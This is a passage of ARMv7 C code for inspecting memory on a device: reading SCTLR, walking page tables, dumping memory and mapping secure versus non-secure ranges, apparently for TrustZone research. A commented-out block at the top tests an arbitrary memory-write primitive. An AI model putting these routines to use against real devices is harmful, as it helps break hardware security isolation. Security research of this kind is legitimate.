//   //  flush_dcache_range(addr_to_overwrite - 32, addr_to_overwrite + 1024);
//
//   if (result == 0xffffffee) {
//     u32 val = read_memory(addr_to_overwrite);
//     u32 expected_val = 1;
//     printf("  [POST-WRITE] 0x%08x->0x%08x\n", addr_to_overwrite, val);
//     if (val == expected_val) {
//       printf("    -> OK!\n");
//     } else {
//       printf("    -> FAIL\n");
//     }
//   } else {
//     printf("  -> FAIL -- RET: (%#08x)\n", result);
//     printf("     Expected RET == 0xffffffee\n");
//   }
// }

// Function to read SCTLR
u32 read_sctlr(void) {
  u32 val;
  asm volatile("mrc p15, 0, %0, c1, c0, 0" : "=r"(val));
  return val;
}

void visualize_sctlr_register(u32 value) {
  // NOTE: UNUSED

  // Extract bit values as in the original code
  u8 m = (value >> 0) & 1;
  u8 a = (value >> 1) & 1;
  u8 c = (value >> 2) & 1;
  u8 b = (value >> 7) & 1;
  u8 z = (value >> 11) & 1;
  u8 i = (value >> 12) & 1;
  u8 v = (value >> 13) & 1;
  u8 rr = (value >> 14) & 1;
  u8 ha = (value >> 17) & 1;
  u8 fi = (value >> 21) & 1;
  u8 u = (value >> 22) & 1;
  u8 ve = (value >> 24) & 1;
  u8 ee = (value >> 25) & 1;
  u8 nmfi = (value >> 27) & 1;
  u8 tre = (value >> 28) & 1;
  u8 afe = (value >> 29) & 1;
  u8 te = (value >> 30) & 1;

  // Visualize the register
  // clang-format off
  // TODO: The actual visualization
  // clang-format on

  // Interpret key features
  printf("\n  Key features:\n");
  printf("    MMU (M): %s\n", m ? "Enabled" : "Disabled");
  printf("    Alignment check (A): %s\n", a ? "Enabled" : "Disabled");
  printf("    Data cache (C): %s\n", c ? "Enabled" : "Disabled");
  printf("    Instruction cache (I): %s\n", i ? "Enabled" : "Disabled");
  printf("    Exception vectors (V): %s\n",
         v ? "High (0xFFFF0000)" : "Normal (0x00000000)");
  printf("    Endianness (B): %s\n", b ? "Big-endian" : "Little-endian");
  printf("    Branch prediction (Z): %s\n", z ? "Enabled" : "Disabled");
  printf("    Round Robin (RR): %s\n", rr ? "Enabled" : "Disabled");
  printf("    Hardware Access Flag (HA): %s\n", ha ? "Enabled" : "Disabled");
  printf("    FIQ configuration (FI): %s\n", fi ? "Enabled" : "Disabled");
  printf("    Alignment model (U): %s\n", u ? "ARMv7" : "ARMv6 or earlier");
  printf("    Interrupt Vectors (VE): %s\n", ve ? "Enabled" : "Disabled");
  printf("    Exception endianness (EE): %s\n",
         ee ? "Big-endian" : "Little-endian");
  printf("    Non-maskable FIQ (NMFI): %s\n",
         nmfi ? "Supported" : "Not supported");
  printf("    TEX remap (TRE): %s\n", tre ? "Enabled" : "Disabled");
  printf("    Access flag (AFE): %s\n", afe ? "Enabled" : "Disabled");
  printf("    Thumb exception (TE): %s\n", te ? "Thumb state" : "ARM state");
  printf("\n");
}

// Function to read a 32-bit value from a memory address
u32 read_memory(u32 address) { return *(volatile u32 *)address; }

// Function to write a 32-bit value to a memory address
void write_nsec_mem(u32 address, u32 value) {
  *(volatile u32 *)address = value;
}

int isprint(unsigned char c) { return (c >= 32 && c <= 126); }

int isprint_no_space(unsigned char c) { return (c >= 33 && c <= 126); }

void hexdump(u32 address, u32 size, u32 bytes_per_line) {
  printf("\n-- Memory dump --\n");
  u32 i, j;
  for (i = 0; i < size; i += bytes_per_line) {
    printf("%#08x: ", address + i);

    for (j = 0; j < bytes_per_line; j += 4) {
      if (i + j < size) {
        u32 word = *(u32 *)(address + i + j);
        printf("%08x ", word);
      } else {
        printf("         ");
      }
    }

    printf("   ");

    for (j = 0; j < bytes_per_line; j++) {
      if (i + j < size) {
        unsigned char byte = *(unsigned char *)(address + i + j);
        printf("%c", isprint(byte) ? byte : '.');
      } else {
        printf(" ");
      }
    }
    printf("\n");
  }
  printf("-- End of dump --\n\n");
}

void hexdump_32bit(u32 value) {
  printf("BIN(%#08x): ", value);
  for (int i = 31; i >= 0; i--) {
    printf("%d", (value >> i) & 1);
    if (i % 8 == 0 && i != 0)
      printf(" ");
  }
  printf("\n\n");
}

// Function to invalidate TLB entry
void v7_inval_tlb(void) {
  /* Invalidate entire unified TLB */
  asm volatile("mcr p15, 0, %0, c8, c7, 0" : : "r"(0));
  /* Invalidate entire data TLB */
  asm volatile("mcr p15, 0, %0, c8, c6, 0" : : "r"(0));
  /* Invalidate entire instruction TLB */
  asm volatile("mcr p15, 0, %0, c8, c5, 0" : : "r"(0));
  /* Full system DSB - make sure that the invalidation is complete */
  asm volatile("mcr     p15, 0, %0, c7, c10, 4" : : "r"(0));
  /* Full system ISB - make sure the instruction stream sees it */
  asm volatile("mcr     p15, 0, %0, c7, c5, 4" : : "r"(0));
  // Invalidate entire I-cache
  asm volatile("mcr p15, 0, %0, c7, c5, 0" : : "r"(0));
  // Ensure all cache and TLB operations are complete
  asm volatile("dsb sy");
  // Ensure the instruction stream sees the changes
  asm volatile("isb");
}

void armv7_full_cache_flush(void) {
  // Flush the entire data cache
  __asm__ volatile("push {r0-r11}\n\t"
                   "mov r0, #0\n\t"
                   "1:\n\t"
                   "mcr p15, 0, r0, c7, c14, 2\n\t" // DCCISW, clean and
                                                    // invalidate by set/way
                   "add r0, r0, #0x40000000\n\t"
                   "cmp r0, #0\n\t"
                   "bne 1b\n\t"
                   "dsb\n\t"
                   "pop {r0-r11}\n\t" ::
                       : "memory");

  // Invalidate the instruction cache
  __asm__ volatile("mcr p15, 0, %0, c7, c5, 0" : : "r"(0) : "memory");

  // Ensure all cache operations are complete
  __asm__ volatile("dsb");
  __asm__ volatile("isb");
}

// ~~~~~~~~~~~~~~~~~~~~~~~~ VISUALIZATION ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

void output_string(const char *format, ...) {
  va_list args;
  va_start(args, format);
  vprintf(format, args);
  va_end(args);
}

void swap_ranges(struct sec_ranges *a, struct sec_ranges *b) {
  struct sec_ranges temp = *a;
  *a = *b;
  *b = temp;
}

void sort_ranges(struct sec_ranges *secure_ranges, int range_count) {
  for (int i = 0; i < range_count - 1; i++) {
    for (int j = 0; j < range_count - i - 1; j++) {
      if (secure_ranges[j].start > secure_ranges[j + 1].start) {
        swap_ranges(&secure_ranges[j], &secure_ranges[j + 1]);
      }
    }
  }
}

void print_sorted_ranges(struct sec_ranges *secure_ranges, int range_count) {
  printf("Sorted Secure Ranges:\n");
  for (int i = 0; i < range_count; i++) {
    printf("Range %d: Start = 0x%08x, End = 0x%08x\n", i,
           secure_ranges[i].start, secure_ranges[i].end);
  }
}

void find_undefined_ranges(struct sec_ranges *secure_ranges, int range_count,
                           struct undefined_range *undefined_ranges,
                           int *undefined_count) {
  sort_ranges(secure_ranges, range_count);
  // Debug print to verify sorting
  // print_sorted_ranges(secure_ranges, range_count);

  u32 current_address = 0;
  *undefined_count = 0;

  for (int i = 0; i < range_count; i++) {
    // Skip empty ranges
    if (secure_ranges[i].start == 0 && secure_ranges[i].end == 0) {
      continue;
    }

    // Check if there's a gap before the current range
    if (current_address < secure_ranges[i].start) {
      undefined_ranges[*undefined_count].start = current_address;
      undefined_ranges[*undefined_count].end = secure_ranges[i].start - 1;
      (*undefined_count)++;
    }

    // Update the current address, handling potential overlaps
    if (secure_ranges[i].end >= current_address) {
      current_address = secure_ranges[i].end + 1;
    }
  }

  // Check if there's remaining space after the last defined range
  if (current_address <= 0xFFFFFFFF) {
    undefined_ranges[*undefined_count].start = current_address;
    undefined_ranges[*undefined_count].end = 0xFFFFFFFF;
    (*undefined_count)++;
  }

  // Sort undefined ranges
  for (int i = 0; i < *undefined_count - 1; i++) {
    for (int j = 0; j < *undefined_count - i - 1; j++) {
      if (undefined_ranges[j].start > undefined_ranges[j + 1].start) {
        struct undefined_range temp = undefined_ranges[j];
        undefined_ranges[j] = undefined_ranges[j + 1];
        undefined_ranges[j + 1] = temp;
      }
    }
  }

  // Merge overlapping or adjacent undefined ranges
  for (int i = 0; i < *undefined_count - 1; i++) {
    if (undefined_ranges[i].end + 1 >= undefined_ranges[i + 1].start) {
      // Ranges overlap or are adjacent, merge them
      undefined_ranges[i].end =
          (undefined_ranges[i].end > undefined_ranges[i + 1].end)
              ? undefined_ranges[i].end
              : undefined_ranges[i + 1].end;

      // Remove the merged range by shifting the array
      for (int j = i + 1; j < *undefined_count - 1; j++) {
        undefined_ranges[j] = undefined_ranges[j + 1];
      }
      (*undefined_count)--;
      i--; // Recheck the current position as it now contains the next range
    }
  }
}

// Function to print the undefined ranges
void print_undefined_ranges(struct undefined_range *undefined_ranges,
                            int undefined_count) {
  printf("\n[*] Calculating NSEC Memory Ranges:\n");
  printf("[*] NSEC Memory Ranges:\n");
  printf("    ┌────────────┬────────────┬─────────────────┐\n");
  printf("    │    Start   │     End    │       Size      │\n");
  printf("    ├────────────┼────────────┼─────────────────┤\n");
  for (int i = 0; i < undefined_count; i++) {
    // TODO: Fix the algorithm to properly handle the gap identification
    if (undefined_ranges[i].start == 0 &&
        undefined_ranges[i].end == 0xffffffff) {
      continue;
    }
    printf("    │ %#08x │ %#08x │ %#08x bytes │\n", undefined_ranges[i].start,
           undefined_ranges[i].end,
           undefined_ranges[i].end - undefined_ranges[i].start);
  }
  printf("    └────────────┴────────────┴─────────────────┘\n");
}

void visualize_secure_ranges(u32 address) {
  struct sec_ranges range;
  struct sec_ranges secure_ranges[MAX_RANGES];
  int range_count = 0;

  printf("\n[*] Found Secure Range Table @ %#08x:\n", address);
  printf("    ┌──────┬────────────┬────────────┬────────────┐\n");
  printf("    │  ID  │    Flags   │    Start   │     End    │\n");
  printf("    ├──────┼────────────┼────────────┼────────────┤\n");
  while (1) {
    // Read the secure range entry
    range.id = read_memory(address);
    range.flags = read_memory(address + 4);
    range.start = read_memory(address + 8);
    range.end = read_memory(address + 12);

    // Check if we've reached the end of the table
    if (range.id == 0xFFFFFFFF) {
      break;
    }

    // Store the secure range
    if (range_count < MAX_RANGES) {
      secure_ranges[range_count] = range;
      range_count++;
    }

    address += sizeof(struct sec_ranges);
  }

  for (int i = 0; i < range_count; i++) {
    if (secure_ranges[i].start == 0 && secure_ranges[i].end == 0) {
      continue;
    }
    printf("    │ %4d │ %#010x │ 0x%08x │ %#08x │\n", i, secure_ranges[i].flags,
           secure_ranges[i].start, secure_ranges[i].end);
  }
  printf("    └──────┴────────────┴────────────┴────────────┘\n");

  struct undefined_range undefined_ranges[MAX_RANGES];
  int undefined_count = 0;
  find_undefined_ranges(secure_ranges, range_count, undefined_ranges,
                        &undefined_count);
  print_undefined_ranges(undefined_ranges, undefined_count);

  printf("\n[*] Memory Map Visualization:\n");
  printf("    0x00000000 ┌────────────────────────────────────────┐ "
         "0xFFFFFFFF\n");
  printf("               │");

  const int total_width = 40; // Total width of the visualization
  u32 prev_end = 0;

  for (int i = 0; i < range_count; i++) {
    if (secure_ranges[i].start == 0 && secure_ranges[i].end == 0)
      continue;

    // Calculate the gap before this range
    if (secure_ranges[i].start > prev_end) {
      double gap_ratio =
          (double)(secure_ranges[i].start - prev_end) / 0xFFFFFFFF;
      int gap_width = (int)(gap_ratio * total_width);
      for (int j = 0; j < gap_width; j++) {
        printf(" ");
      }
    }

    // Calculate the width of this range
    double range_ratio =
        (double)(secure_ranges[i].end - secure_ranges[i].start + 1) /
        0xFFFFFFFF;
    int range_width = (int)(range_ratio * total_width);
    range_width =
        (range_width > 0) ? range_width : 1; // Ensure at least 1 character

    for (int j = 0; j < range_width; j++) {
      printf("█");
    }

    prev_end = secure_ranges[i].end + 1;
  }

  // Fill the remaining space if any
  if (prev_end <= 0xFFFFFFFF) {
    double remaining_ratio = (double)(0xFFFFFFFF - prev_end + 1) / 0xFFFFFFFF;
    int remaining_width = (int)(remaining_ratio * total_width);
    for (int j = 0; j < remaining_width; j++) {
      printf(" ");
    }
  }

  printf("│\n");
  printf("               └────────────────────────────────────────┘\n");
  printf("                 █ = Secure     = Non-Secure\n");
}

void visualize_section(u32 value) {
  printf("\n");
  u32 ap = 0;
  u8 ap_high = 0;
  u8 ap_low = 0;

  u32 sctlr = read_sctlr();
  u32 afe = ((sctlr >> 29) & 1);
  if (afe == 0) {
    // clang-format off
    printf("            31                       20 19  18  17  16  15  14      12 11 10  9  8      5  4   3   2   1  0\n");
    printf("            ┌────────────────────────────────────────────────────────────────────────────────────────────────┐\n");
    printf("    Section │ Base Address, PA[31:20]  │   │ 0 │   │ S │   │ TEX[2:0] │     │   │ Domain │   │ C │ B │ 1 │   │\n");
    printf("            └────────────────────────────────────────────────────────────────────────────────────────────────┘\n");
    printf("                                     NS ─┘       │ AP[2]─┘      AP[1:0] ─┘    │        XN ─┘         PXN* ─┘  \n");
    printf("                                             nG ─┘                Impl. def. ─┘                               \n");
    // clang-format on
    ap_low = (value >> 10) & 3;
    ap_high = (value >> 15) & 1;
    ap = ap_low | (ap_high << 2);
  } else {
    // clang-format off
    printf("            31                       20 19  18  17  16  15  14      12 11 10  9  8      5  4   3   2   1  0\n");
    printf("            ┌────────────────────────────────────────────────────────────────────────────────────────────────┐\n");
    printf("    Section │ Base Address, PA[31:20]  │   │ 0 │   │ S │   │ TEX[2:0] │     │   │ Domain │   │ C │ B │ 1 │   │\n");
    printf("            └────────────────────────────────────────────────────────────────────────────────────────────────┘\n");
    printf("                                     NS ─┘       │ AP[2]─┘      AP[1]─┘ AF─┘  │        XN ─┘         PXN* ─┘  \n");
    printf("                                             nG ─┘                Impl. def. ─┘                               \n");
    // clang-format on

    ap_low = (value >> 11) & 1;
    ap_high = (value >> 15) & 1;
    ap = ap_low | (ap_high << 1);
  }

  u8 b = (value >> 2) & 1;
  u8 c = (value >> 3) & 1;
  u8 xn = (value >> 4) & 1;
  u16 domain = (value >> 5) & 15;
  u8 tex = (value >> 12) & 7;
  u8 s = (value >> 16) & 1;
  u8 ng = (value >> 17) & 1;
  u8 sanity_bit = (value >> 18) & 1;
  u8 ns = (value >> 19) & 1;
  u32 base_addr = (value >> 20) & 0xFFF;

  // clang-format off

  printf("\n\t                                            ↓\n\n");
  printf("            31     20 19  18  17  16  15 14   12 11  10  9  8    5  4   3   2   1   0\n");
  printf("            ┌─────────────────────────────────────────────────────────────────────────┐\n");
  printf("    Section │ 0x%03x │ %d │ %d │ %d │ %d │ %d │  %03d  │  %02d  │ %d │ %04d │ %d │ %d │ %d │ %d │ %d │\n",
          base_addr, ns, sanity_bit, ng, s, ap_high, tex, ap_low, (value >> 9)&1, domain, xn, c,b, (value>>1)&1, (value>>0)&1);
  printf("            └─────────────────────────────────────────────────────────────────────────┘\n");
  printf("                  NS ─┘       │ AP[2]─┘  ┌─┘        │    │      XN ─┘   │B ─┘       │\n");
  printf("                          nG ─┘          │ AP[1:0] ─┘    │           C ─┘     PXN* ─┘\n");
  printf("                                        TEX  Impl. def. ─┘\n");
  printf("                -> Permissions: %s", get_permission(ap));
  // clang-format on

  printf("\n\n  Additional Information:\n");
  printf("    - XN (eXecute Never): %s\n", xn ? "Enabled" : "Disabled");
  printf("    - MPU attributes (TEX, C, B): %s\n",
         get_memory_attributes(tex, c, b));
  printf("    - S (Shareable): %s\n", s ? "Enabled" : "Disabled");
  printf("    - nG (not Global): %s\n", ng ? "Enabled" : "Disabled");
  printf("    - NS (Non-Secure): %s\n", ns ? "Secure" : "Non-Secure");
  printf("    - Base Address: Physical Page Number\n");
}

void visualize_small_page_descriptor(u32 value) {
  printf("\n");
  u32 ap = 0;
  u8 ap_high = 0;
  u8 ap_low = 0;
  // AFE (Access Flag Enable) changes how the AP bits are interpreted
  // This bit is found in the SCTLR register
  // printf("[*] Reading SCTLR ");
  u32 sctlr = read_sctlr();
  // If address translation is using the Short-descriptor translation table
  // format, it must set SCTLR.AFE to 1 to enable use of the Access flag AFE: 0
  //   -> In the translation table descriptors, AP[0] is an access permission
  //   bit.
  //   -> The full range of access permissions is supported
  //   -> No Access flag is implemented
  // AFE: 1
  //   -> AP[0] is the access flag.
  //   -> Only the simplified model for access permissions is supported
  u32 afe = ((sctlr >> 29) & 1);
  if (afe == 0) {
    // printf("-> AFE is disabled\n");

    // clang-format off
    // AP[2] AP[1:0]  Privileged  User
    //     0      00  No access   No access
    //     0      01  Read/Write  No access 
    //     0      10  Read/Write  Read-only
    //     0      11  Read/Write  Read/Write
    //     1      00  Read-only   No access
    //     1      01  Read-only   Read-only
    //     1      10  Read-only   Read-only
    //     1      11  Read-only   Read-only
    printf("                31                       12 11  10   9  8        6 5 4  3   2   1  0\n");
    printf("                ┌────────────────────────────────────────────────────────────────────┐\n");
    printf("    Small page  │ Base Address, PA[31:12]  │   │ S │   │ TEX[2:0] │   │ C │ B │ 1 │  │\n") ;
    printf("                └────────────────────────────────────────────────────────────────────┘\n");
    printf("                                         nG ─┘       │     AP[1:0] ─┘          XN ─┘\n");
    printf("                                              AP[2] ─┘\n");
    // clang-format on

    ap_low = (value >> 4) & 3;
    ap_high = (value >> 9) & 1;
    ap = ap_low | (ap_high << 2);

  } else {
    // printf("  -> AFE is enabled...\n");
    // clang-format off
    // Access Permissions - AP[2:1]:
    //AP[2] AP[1]  Privileged  User  
    //    0     0  No access   No access
    //    0     1  Read/Write  No access 
    //    1     0  Read/Write  Read-only 
    //    1     1  Read/Write  Read/Write
    printf("                31                       12 11  10   9  8        6 5 4  3   2   1  0\n");
    printf("                ┌────────────────────────────────────────────────────────────────────┐\n");
    printf("   Small page   │ Base Address, PA[31:12]  │   │ S │   │ TEX[2:0] │   │ C │ B │ 1 │  │\n");
    printf("                └────────────────────────────────────────────────────────────────────┘\n");
    printf("                                         nG ─┘       │      AP[1] ─┘          XN ─┘\n");
    printf("                                              AP[2] ─┘           AF ─┘\n");
    // clang-format on

    ap_low = (value >> 5) & 1;
    ap_high = (value >> 9) & 1;
    ap = (ap_high << 1) | ap_low;
  }

  // Extract fields
  u8 xn = (value >> 0) & 1;
  u8 b = (value >> 2) & 1;
  u8 c = (value >> 3) & 1;
  u8 tex = (value >> 6) & 7;
  u8 s = (value >> 10) & 1;
  u8 ng = (value >> 11) & 1;
  u32 base_addr = (value >> 12) & 0xFFFFF;
  // Not shown in the diagram, but extracted for completeness
  // u32 ns = (value >> 19) & 1;
  // u32 pxn = (value >> 20) & 1;
  // clang-format off
  printf("\n\t                                            ↓\n\n");
  printf("                31                       12 11  10   9  8   6 5 4   3   2   1   0\n");
  printf("                ┌─────────────────────────────────────────────────────────────────┐\n");
  printf("                │ %#05x                  │ %d │ %d │ %d │ %03d │ %02d │ %d │ %d │ 1 │ %d │\n", base_addr, ng, s, ap_high, tex, ap_low, c, b, xn);
  printf("                └─────────────────────────────────────────────────────────────────┘\n");
  printf("                -> Permissions: %s", get_permission(ap));
  // clang-format on
  // clang-format off
  // XN (Execute Never): When set (1), execution of instructions from the memory region is prohibited.
  // S (Shareable): Indicates whether the memory region is shareable between processors in a multiprocessor system.
  // nG (Not Global): When set (1), the page is not global, meaning it's not shared across all processes (used for process isolation).
  // NS (Non-Secure): When set (1), the memory region is non-secure (TrustZone feature).
  // PXN (Privileged Execute Never): When set (1), execution is prohibited in privileged mode from this memory region.
  // clang-format on

  printf("\n\n  Additional Information:\n");
  printf("    - XN (eXecute Never): %s\n", xn ? "Enabled" : "Disabled");
  printf("    - MPU attributes (TEX, C, B): %s\n",
         get_memory_attributes(tex, c, b));
  printf("    - S (Shareable): %s\n", s ? "Enabled" : "Disabled");
  printf("    - nG (not Global): %s\n", ng ? "Enabled" : "Disabled");
  printf("    - Base Address: Physical Page Number\n");
  // printf("    - NS: Non-Secure\n");
  // printf("    - PXN: Privileged Execute Never\n");
}

const char *get_permission(u32 ap) {
  switch (ap) {
  case 0:
    return "No access";
  case 1:
    return "Privileged access only";
  case 2:
    return "No write from user mode";
  case 3:
    return "Full access";
  case 4:
    return "Unpredictable";
  case 5:
    return "Privileged read-only";
  case 6:
  case 7:
    return "Read-only";
  default:
    return "Unknown";
  }
}

const char *get_memory_attributes(u8 tex, u8 c, u8 b) {
  u32 tre = ((read_sctlr() >> 28) & 1);
  if (tre) {
    return "TRE enabled, Interpret based on MMU remap registers";
  }

  static char result[64];

  if (tex == 0) {
    if (c == 0 && b == 0)
      return "Strongly-ordered, Shareable";
    if (c == 0 && b == 1)
      return "Shareable Device";
    if (c == 1 && b == 0)
      return "Outer and Inner Write-Through, No Write-Allocate";
    if (c == 1 && b == 1)
      return "Outer and Inner Write-Back, No Write-Allocate";
  } else if (tex == 1) {
    if (c == 0 && b == 0)
      return "Non-shareable Device";
    if (c == 0 && b == 1)
      return "Reserved";
    if (c == 1 && b == 0)
      return "Reserved";
    if (c == 1 && b == 1)
      return "Reserved";
  } else {
    const char *outer[] = {"Non-cacheable", "Write-Back, Write-Allocate",
                           "Write-Through, No Write-Allocate",
                           "Write-Back, No Write-Allocate"};
    const char *inner[] = {"Non-cacheable", "Write-Back, Write-Allocate",
                           "Write-Through, No Write-Allocate",
                           "Write-Back, No Write-Allocate"};

    u8 outer_policy = (tex >> 1) & 0x3;
    u8 inner_policy = ((tex & 0x1) << 1) | (c << 1) | b;

    output_string("Outer: %s, Inner: %s", outer[outer_policy],
                  inner[inner_policy]);
    return result;
  }

  return "Unknown";
}

// clang-format off
// ~~~~~~~~~~~~~~~~~~~~~~~~ PGTBL TRAVERSAL ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
// clang-format on
u64 traverse_page_table(u32 virtual_address, u8 is_vis) {
  u64 res = 0;
  printf("[>] Traversing page table to find permissions for address %#08x\n",
         virtual_address);
  printf("    ┌─PAGE_TABLE_BASE: %#08x\n", PAGE_TABLE_BASE);

  // First-level index
  u32 first_level_index = (virtual_address >> 20) & 0xFFF;
  printf("    ├─L1 Index: %#03x\n", first_level_index);

  // First-level descriptor address
  u32 first_level_descriptor_addr = PAGE_TABLE_BASE + (first_level_index * 4);
  printf("    │ └─Descriptor @ %#08x: ", first_level_descriptor_addr);

  // Read first-level descriptor
  u32 first_level_descriptor = read_memory(first_level_descriptor_addr);
  printf("%#08x\n", first_level_descriptor);

  // Interpret first-level descriptor
  if ((first_level_descriptor & 3) == 0x1) {
    printf("    │   └─Page Table Descriptor\n");

    // Second-level table base
    u32 second_level_table_base = first_level_descriptor & 0xFFFFFC00;

    // Second-level index
    u32 second_level_index = (virtual_address >> 12) & 0xFF;
    printf("    └─L2 Index: %#02x\n", second_level_index);

    // Second-level descriptor address
    u32 second_level_descriptor_addr =
        second_level_table_base + (second_level_index * 4);
    printf("      └─Descriptor @ %#08x: ", second_level_descriptor_addr);

    // Read second-level descriptor
    u32 second_level_descriptor = read_memory(second_level_descriptor_addr);
    printf("%#08x\n", second_level_descriptor);

    // Interpret second-level descriptor
    if ((second_level_descriptor & 3) == 0x2 ||
        (second_level_descriptor & 3) == 0x3) {
      printf("        └─Small Page (4KB) Descriptor\n");
      if (is_vis) {
        visualize_small_page_descriptor(second_level_descriptor);
      }
      printf("\n[*] Physical Address: %#08x\n",
             get_phys_addr(second_level_descriptor, virtual_address));
      res =
          (((u64)second_level_descriptor_addr << 32) | second_level_descriptor);
    } else if ((second_level_descriptor & 3) == 0x1) {
      // TODO: Add visualization for large page descriptor
      printf("        └─Large Page (64KB) Descriptor\n");
    } else {
      printf("        └─Unknown L2 Descriptor Type: %#x\n",
             second_level_descriptor & 3);
    }
  } else if ((first_level_descriptor & 3) == 0x2) {
    if (first_level_descriptor >> 18 & 1) {
      // TODO: Add visualization for super-section descriptor
      printf("    ⎺   └─Super-Section Descriptor\n");
    } else {
      printf("    ⎺   └─Section Descriptor\n");
      if (is_vis) {
        visualize_section(first_level_descriptor);
      }
      res = (((u64)first_level_descriptor_addr << 32) | first_level_descriptor);
      return res;
    }
  } else if ((first_level_descriptor & 3) == 0) {
    printf("      ⎺   └─Invalid L1 Descriptor Type: %#x\n",
           first_level_descriptor & 3);
  } else {
    printf("      ⎺   └─Reserved L1 Descriptor Type: %#x\n",
           first_level_descriptor & 3);
  }
  printf("\n");
  return res;
}

// Calculate physical address
u32 get_phys_addr(u32 second_level_descriptor, u32 addr) {
  u32 page_base = second_level_descriptor & 0xFFFFF000;
  u32 page_offset = addr & 0xFFF;
  u32 physical_address = page_base | page_offset;
  return physical_address;
}